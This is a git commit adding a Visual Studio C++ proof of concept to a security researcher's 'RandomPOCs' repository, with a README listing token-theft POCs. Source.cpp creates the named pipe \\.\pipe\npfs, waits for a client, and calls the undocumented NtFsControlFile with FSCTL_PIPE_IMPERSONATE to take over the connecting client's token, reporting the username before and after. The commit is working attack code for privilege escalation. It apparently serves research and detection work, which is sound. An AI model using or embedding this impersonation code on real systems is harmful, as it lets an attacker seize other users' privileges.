Adding NtfsControlFile

2026-06-21 13:54:51 +00:00 · 2023-04-27 07:54:51 -05:00
parent e924b4500f
commit 9cfa510a18
12 changed files with 360 additions and 1 deletions
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.3.32901.215
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NtfsControlFile", "NtfsControlFile.vcxproj", "{817DA822-0DC1-4288-8525-39192D75BE2E}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|x64 = Debug|x64
+		Debug|x86 = Debug|x86
+		Release|x64 = Release|x64
+		Release|x86 = Release|x86
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{817DA822-0DC1-4288-8525-39192D75BE2E}.Debug|x64.ActiveCfg = Debug|x64
+		{817DA822-0DC1-4288-8525-39192D75BE2E}.Debug|x64.Build.0 = Debug|x64
+		{817DA822-0DC1-4288-8525-39192D75BE2E}.Debug|x86.ActiveCfg = Debug|Win32
+		{817DA822-0DC1-4288-8525-39192D75BE2E}.Debug|x86.Build.0 = Debug|Win32
+		{817DA822-0DC1-4288-8525-39192D75BE2E}.Release|x64.ActiveCfg = Release|x64
+		{817DA822-0DC1-4288-8525-39192D75BE2E}.Release|x64.Build.0 = Release|x64
+		{817DA822-0DC1-4288-8525-39192D75BE2E}.Release|x86.ActiveCfg = Release|Win32
+		{817DA822-0DC1-4288-8525-39192D75BE2E}.Release|x86.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+	GlobalSection(ExtensibilityGlobals) = postSolution
+		SolutionGuid = {DE2533A7-98F1-4DFF-8E5F-5CD825C63E3E}
+	EndGlobalSection
+EndGlobal
@@ -0,0 +1,135 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <VCProjectVersion>16.0</VCProjectVersion>
+    <Keyword>Win32Proj</Keyword>
+    <ProjectGuid>{817da822-0dc1-4288-8525-39192d75be2e}</ProjectGuid>
+    <RootNamespace>NtfsControlFile</RootNamespace>
+    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="Shared">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="Source.cpp" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <Filter Include="Source Files">
+      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+    </Filter>
+    <Filter Include="Header Files">
+      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
+    </Filter>
+    <Filter Include="Resource Files">
+      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
+    </Filter>
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="Source.cpp">
+      <Filter>Source Files</Filter>
+    </ClCompile>
+  </ItemGroup>
+</Project>
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup />
+</Project>
@@ -0,0 +1,156 @@
+/* Author: Jonathan Johnson (@jsecurity101)
+* Execute: NtfsControlFile.exe then connect to named pipe \\pipe\npfs
+*/
+
+#include <Windows.h>
+#include <iostream>
+#include <Lmcons.h>
+#include <fstream>
+#include <sddl.h>
+
+
+#define FSCTL_PIPE_IMPERSONATE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 7, METHOD_BUFFERED, FILE_ANY_ACCESS)
+
+
+#define BUFSIZE 2048
+#define INSTANCES 4 
+
+typedef struct
+{
+	OVERLAPPED oOverlap;
+	HANDLE hPipeInst;
+	TCHAR chRequest[BUFSIZE];
+	DWORD cbRead;
+	TCHAR chReply[BUFSIZE];
+	DWORD cbToWrite;
+	DWORD dwState;
+	BOOL fPendingIO;
+} PIPEINST, * LPPIPEINST;
+
+
+typedef struct _IO_STATUS_BLOCK {
+	union {
+		NTSTATUS Status;
+		PVOID Pointer;
+	};
+	ULONG_PTR Information;
+} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
+
+typedef enum _EVENT_TYPE {
+	NotificationEvent,
+	SynchronizationEvent
+} EVENT_TYPE;
+
+typedef VOID(*PIO_APC_ROUTINE)(
+	__in PVOID ApcContext,
+	__in PIO_STATUS_BLOCK IoStatusBlock,
+	__in ULONG Reserved
+	);
+
+typedef NTSTATUS(*_NtFsControlFile)(
+	HANDLE FileHandle,
+	HANDLE Event,
+	PIO_APC_ROUTINE ApcRoutine,
+	PVOID ApcContext,
+	PIO_STATUS_BLOCK IoStatusBlock,
+	ULONG FsControlCode,
+	PVOID InputBuffer,
+	ULONG InputBufferLength,
+	PVOID OutputBuffer,
+	ULONG OutputBufferLength
+	);
+
+int main() {
+	HANDLE hPipe = NULL;
+	DWORD i, dwRead;
+	TCHAR chBuf[BUFSIZE];
+	TCHAR username[UNLEN + 1];
+	DWORD username_len = UNLEN + 1;
+	if (!GetUserName(username, &username_len))
+	{
+		printf("GetUserName Failed (%d).\n", GetLastError());
+		DisconnectNamedPipe(hPipe);
+		CloseHandle(hPipe);
+		return 1;
+	}
+	else
+	{
+		std::wstring username_w(username);
+		std::string username_s(username_w.begin(), username_w.end());
+		std::cout << "[*] Current username is: " << username_s << "\n";
+	}
+	printf("[*] Creating named pipe npfs...\n");
+	hPipe = CreateNamedPipe(L"\\\\.\\pipe\\npfs", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, NULL);
+
+	if (hPipe == INVALID_HANDLE_VALUE)
+	{
+		printf("[-] CreateNamedPipe failed: (%d).\n", GetLastError());
+		return 1;
+	}
+	else
+	{
+		printf("[*] Named pipe created!\n");
+		printf("[*] Waiting for client to connect...\n");
+
+		if (!ConnectNamedPipe(hPipe, NULL)) {
+			printf("[-] ConnectNamedPipe failed: (%d).\n", GetLastError());
+			CloseHandle(hPipe);
+			return 1;
+		}
+		else {
+			printf("[*] Client connected to named pipe!\n");
+			if (!ReadFile(hPipe, chBuf, BUFSIZE * sizeof(TCHAR), &dwRead, NULL)) {
+				printf("[-] ReadFile failed: (%d).\n", GetLastError());
+				DisconnectNamedPipe(hPipe);
+				CloseHandle(hPipe);
+				return 1;
+			}
+			else {
+				printf("[*] ReadFile completed!\n");
+				_NtFsControlFile NtFsControlFile = (_NtFsControlFile)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtFsControlFile");
+				if (NtFsControlFile == NULL) {
+					printf("[-] NtFsControlFile not found!\n");
+					DisconnectNamedPipe(hPipe);
+					CloseHandle(hPipe);
+					return 1;
+				}
+				else {
+					printf("[*] NtFsControlFile found!\n");
+				}
+				
+
+				IO_STATUS_BLOCK ioStatusBlock;
+				NTSTATUS status = NtFsControlFile(hPipe, NULL, NULL, NULL, &ioStatusBlock, FSCTL_PIPE_IMPERSONATE, NULL, 0, NULL, 0);
+				if (status != 259) {
+					printf("[-] NtFsControlFile failed: (%d).\n", GetLastError());
+					DisconnectNamedPipe(hPipe);
+					CloseHandle(hPipe);
+					return 1;
+
+				}
+				else {
+					WaitForSingleObject(hPipe, INFINITE);
+					printf("[*] NtFsControlFile completed!\n");
+					if (!GetUserName(username, &username_len))
+					{
+						printf("GetUserName Failed (%d).\n", GetLastError());
+						DisconnectNamedPipe(hPipe);
+						CloseHandle(hPipe);
+						return 1;
+					}
+					else
+					{
+						std::wstring username_w(username);
+						std::string username_s(username_w.begin(), username_w.end());
+						printf("[*] Current username is: %s\n", username_s.c_str());
+					}
+				}
+
+			}
+		}
+		DisconnectNamedPipe(hPipe);
+		CloseHandle(hPipe);
+	}
+
+	return 0;
+}
@@ -1,2 +1,13 @@
 # RandomPOCs
-Repo that holds random POCs
+This repository holds POCs I have created for projects, blogs, etc. 
+
+
+
+## POCs: 
+
+
+| POC | Description | 
+| --- | ---- |
+| ImpersonateLoggedOnUser | Steals token from a targetted process and sets token to current thread via ImpersonateLoggedOnUser | 
+| SetThreadToken | Steals token from a targetted process and sets token to current thread via SetThreadToken |
+| NtfsControlFile | Performs named pipe impersonation by creating a named pipe - `\\.\pipe\npfs` and taking the clients token by calling NtfsControlFile|